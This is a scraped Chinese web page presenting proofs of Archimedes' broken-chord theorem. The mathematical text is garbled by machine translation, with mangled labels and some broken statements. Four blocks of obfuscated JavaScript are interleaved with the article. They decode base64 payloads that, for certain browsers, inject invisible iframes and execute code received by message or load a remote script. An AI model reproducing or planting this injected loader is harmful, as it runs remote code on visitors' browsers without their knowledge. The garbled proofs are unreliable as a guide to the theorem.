eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
阿基米德折弦定理;阿基米德折弦定理例题

2021年12月13日 东厂曹正淳 阅读(134)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

阿基米德断弦定理

1、 当取下弧的中点时

已知:M点是弧AB的中点,AC+CB是圆中的折叠

和弦MN⊥ AC交AC在通过点M后的点n处

结论:an=NC+CB

法一:截面长度

取Nd=NC并连接DM,然后连接DM=CM,

∠MAD+∠AMD

=阿基米德折弦定理∠MDC=∠MCD=∠MAB

=∠MAD+∠BAC,

∴∠AMD=∠BAC=∠BMC,

易证:△MDA≌△MCB(SAS)

∴AD=BC,

∴AN=AD+DN=NC+CB。

方法二:弥补不足

将AC延伸至d点,以便CD=CB,

∠ MCB+ ∠ MAB= 180 °, ∠ MCD+ ∠ MCA=180°,以及∠ MAB= ∠ MCA,

∴∠MCB=∠MCD

易证:△MCB≌△MCD(SAS)

∴MD=MB=MA,

∴NC+CB=NC+CD=ND=NA

即Na=NC+CB

方法3:画一条垂直线

连接MA,MB,然后连接MA=MB,

考虑到∠ MAN= ∠ MBC,

通过M为MH⊥ BC交BCh点的延长线,

易证:△MAN≌△MBH(AAS)

可用:an=BH;

易证:△MCN≌△MCH(AAS)

可提供:CN=ch

∴安=波黑=BC+CH=BC+CN。

方法四:对称

在p点和PQ处制作MP‖AC交圆O⊥ AC交AC在Q点连接Ap、pM和MC

易证:AQ=C阿基米德折弦定理N,QN=OM=CB

∴AN=AQ+QN=CN+CB

方法5:平行

在D点制作BD‖AC交圆O,连接AD,在E点将MD连接到AC,

可认证:∠ AED = ∠ MDB= ∠ ADE,

∴AD=AE

及BC=AD,

∴BC=AE。

可认证:∠ MEC= ∠ MCE,

∴EN=NC

∴AN=AE+EN=BC+BC。

2、 取上弧中点时

已知:如果点M低于点弧AB,则生成点MN⊥ AC交AC在点n处

结论:NC=an+BC

法一:取C点,以便CD=CB,

易证:△CDM≌△CBM,

易证:△DNM≌△安M

可用:NC=an+BC

方法二:将CA扩展到Cu0026#39;使ACu0026#39;=BC,

易证:△MBC≌△MACu0026#39;

易证:△MNC≌△MNCu0026#39;

提供:NC=NCu0026#39;=安+BC。

方法3:通过点M和doMNu0026#39;⊥ CB将CB延长线移交至nu0026#39;指向

易证:△MNA≌△MNu0026#39;B

易证:△MCN≌△MCNu0026#39

提供:NC=nu0026#39;C=AN+BC。

方法4:在p点制作MP‖AC交圆O,阿基米德折弦定理例题,制作PQ⊥ AC交AC在Q点,阿基米德折弦定理例题,连接aM、CpBM,

易证:AM=Cp

易证:AM=BM

∴BM=Cp

∴MP=BC,

∴NC=NQ+QC=pM+AN=BC+AN。

阿基米德(Archimedes,公元前287-212年,古希腊)是有史以来最伟大的数学家之一。他与牛顿和高斯一起被称为三位数学家。

定理定义

如右图所示,AB阿基米德折弦定理和BC是两个字符串⊙ o(即,ABC是一个圆的断串),BCAB和M是弧ABC的中点,那么从M到BC的垂直线的垂直脚D是断串ABC的中点,即,CD=AB+BD。

定义:由两条从圆周上任意点开始的线组成的折线称为图形的折线。

验证推导

方法1:补充方法1

如图所示,阿基米德折弦定理例题,将DB扩展到f,形成BF=BA

∵ M是弧ABC的中点

如图所示,将DB扩展到f,形成BF=BA

∴∠MCA=∠MAC=∠MBC

MBAC圆中的四个点

∴∠MCA+∠MBA=180°

∵∠MBC+∠MBF=180°

∴∠MBA=∠MBF

∵MB=MB、BF=BA

∴△MBF≌△MBA

∴∠F=∠MAB=∠MCB

∴MF=MC

∵MD⊥查阅

∴CD=DF=DB+BF=AB+BD

方法2:补充方法2

将AB延伸到e,形成BE=BD

∵ M是弧AB的中点,

∴∠MBC=∠MAC=∠MCA

∵ M、B、a和C在同一圆圈内

∴∠MCA+∠MBA=180°

∵∠MBE+∠MBA=180°

∴∠MCA=∠MBE

∴∠MBC=∠MBE

∵BE=BD、MB=MB

∴△EBM△DBM

∴∠E=∠MDC=90°,ME=MD

∵ MA=MC

∴△MEA△MDC

∴DC=AE=AB+BE=AB+BD

方法3:切割长度方法1

如图所示,在CD上截获DG=dB

∵MD⊥背景

∴MB=MG∠MGB=∠MBC=∠MAC

∵ M是弧ABC的中点

∴∠MAC=∠MCA=∠MGB

即∠ MGB= ∠ MCB+ ∠ BCA= ∠ MCB+ ∠ BMA

和∠ MGB= ∠ MCB+ ∠ gMC

∴∠BMA=∠GMC

∵MA=MC

∴△MBA≌△MGC(SAS)

∴AB=GC

∴CD=CG+GD=AB+BD

方法4:切割长度方法2

如图所示,CG=AB在CD上被截获

∵ M是弧ABC的中点

∴MA=MC

∵∠BAM=∠BCM

∴△MBA≌△MGC(SAS)

∴MB=MG

∵MD⊥背景

∴BD=DG

∴CD=CG+GD=AB+BD

方法5:垂直线法

如图所示,makeMH⊥ 射线AB,垂直脚是h。

∵ M是弧ABC的中点

∴MA=MC

∵MD⊥BC

∴∠MDC=90°=∠H

∵∠MAB=∠MCB

∴△MHA≌△MDC(AAS)

∴啊=CD、MH=MD

∵ MB = MB

∴Rt△MHB≌Rt△MDB(HL)

∴HB=BD

∴CD=AH=AB+BH=AB+BD

方法6:圆周角法

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}